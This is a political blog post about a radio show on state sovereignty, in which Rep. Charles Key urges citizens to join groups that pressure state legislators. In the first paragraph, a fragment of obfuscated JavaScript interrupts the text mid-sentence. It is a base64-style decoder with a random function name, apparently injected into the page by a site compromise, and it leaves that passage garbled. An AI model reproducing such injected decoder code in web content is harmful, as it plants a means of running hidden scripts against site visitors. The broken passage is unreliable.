Want State Sovereignty Exercised? Rep. Charles Key Says Get Involved

By Shelli Dawdy

Last Friday, I filled in for the incomparable Kaye Beach on her Axxiom for Liberty radio show. I was pleased to have been joined by my co-host function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandra Crosnoe” href=”http://scrosnoe.com”>Sandra Crosnoe and three very interesting guests. We mentioned on the show and the Rule of Law Radio Network's archive page that we would be adding some additional information about things discussed on the show here on our site. It was quite a full show, so we'll be doing a few articles here as follow-up, this being the first. As the posts are completed, they will be added to this GiN page.

If you weren't able to listen to the show live, sorry we missed you and that you missed a great show! But that's what podcasts are for - you can listen to the show at your leisure by clicking HERE.

The Unexpected...but important

I didn't set out to emphasize the importance of parents modeling political activism for their children, but it turned out to be a common theme for several people on the show in the first hour.  I was reminded how important parents are in teaching their children the basics, including how to be an actively engaged citizen.  I do wonder how very many parents could be modeling this for children when the norm now seems to be little family time and non-stop activities. With voter turnouts running below 50% in Nebraska, over half the parents who are even registered to vote aren't showing up at the polls. This lack of engagement is in and of itself providing an example. Those reading this who are interested in seeing government more limited but who have given up to the extent that voting is considered a waste of time, please give the following article a read - "Who Says Every Vote Does Not Count".

But it wasn't until after the show was over that I realized that active involvement was a going to be a point of emphasis.

Why Getting To Know Local Elected Officials Is Important

Tied to the concept of voting and active involvement is the important point made by our first guest, Linda. Most elected officials who run for higher office like Governor or a member of the U.S. House of Representatives or Senate were at one time in public office at the local level. As Linda noted, four out of the five current members of Nebraska's federal delegation were once local elected officials. Linda explained the importance of a local focus in the article "When Government Fears the People", which can be read on our Nebraska Liberty Watchmen project site by clicking HERE.

Good Legislators Need Help

When I asked to have Rep. Charles Key on the show to talk about State Sovereignty, I did not expect him to bring up how procedural problems in State Legislatures are hindering efforts to pass legislation that limits government in general or strengthens state sovereignty in particular, but it was clearly a subject in the forefront of his mind.

I will be writing a separate article that includes links pertaining to the first part of Rep. Key's information during which he filled in some very interesting background about the history of State Sovereignty.

I believe it is important to focus on the subject of citizen engagement and procedural obstructions before getting into the details of any proposed legislation.  The lack of the former and the very real problem of the latter are key in succeeding in any real substantive efforts to exercise state sovereignty, ensuring that our state officials "getting real" on serious budgetary problems, and that further entanglements with the federal government are curtailed.

Too many people are focused on federal level politics and solutions contrived by those in Washington, while the power to impact many of these issues necessarily exists right within the borders of most states.  Those of us working to impact the issues need more help. When one listens to the archive of the show and Rep. Key's focus on the subject of obstruction, his message his clear: listeners who believe these issues are important need to get involved with groups within their states and pitch in to put heat on obstructionist legislators and for the movement of sensible legislation through the process.

For Nebraska there is the good, the bad, the ugly...

Many people who follow the articles published on this site and participate in some of our efforts will recall that Rep. Key traveled to Lincoln in February 2010 to testify at the Sovereignty Resolution hearing at the Unicameral.  Rep. Key was able to spend some time down in the chamber with Senator Fulton and to visit with other legislators while he was here.

The Good...(at least for Nebraska, anyway)

Afterwards, Rep. Key reported one thing to me that should be somewhat heartening to Nebraskans; he observed that some procedures in our Legislature were clearer than those found in Oklahoma.  Through my conversations with Rep. Key since that February visit and through discussions with those who work with him in Oklahoma, it is clear that the obstruction and maneuvering in the Oklahoma Legislature is very problematic. Unfortunately, a good deal of this obstruction is coming from Republican legislators.

Kaye Beach has a number of examples of these obstructionist efforts in Oklahoma detailed on her website, click HERE to read about just one.

The Bad...

While it is pleasing that Rep. Key noticed some positive aspects about Nebraska's legislature, it is important to note that there are problems here, as well. Linda and I point out a couple of examples of similar obstruction in the 2010 session of the Unicameral.

The Ugly...

For Nebraska and other states, the sad reality is...we actually have the government we deserve at the moment. The Founders of our country knew that our system was an experiment. Franklin's response to the question posed about what kind of government the Constitutional Convention had given the people was very appropriate, "A Republic, if you can keep it." Quotations from other Founders abound that prove this system was suited only to a moral, educated, and actively engaged citizenry.

Reflecting upon those notions, it seems further elaboration about "the ugly" is not needed.

The Bottom Line...

The most important message for anyone concerned about these matters is that legislators like Rep. Key need help to shine a bright light on what is going on in state legislatures. There need to be organized efforts to pass the word and pressure legislators into making necessary rules changes and to allow legislation to at least be considered.

Rep. Key recommended that people get involved with a local group already conducting these efforts. For Oklahomans, he recommended OK-Safe and several others. Sandra's R3publicans in Oklahoma works to get information out to a wide network of contacts associated with efforts conducted by Rep. Key, OK-Safe, Kaye Beach and others.

Of course we encourage Nebraskans to get involved with GiN's efforts.  When it comes to monitoring and impacting the legislature, we recommend people give some serious consideration to GiN's NE Liberty Watchmen project.

If you are not already subscribed by email to receive postings to this site, you can do so by clicking HERE.

The next article elaborating on our Sovereignty radio special will provide links and additional information about the Sovereignty movement.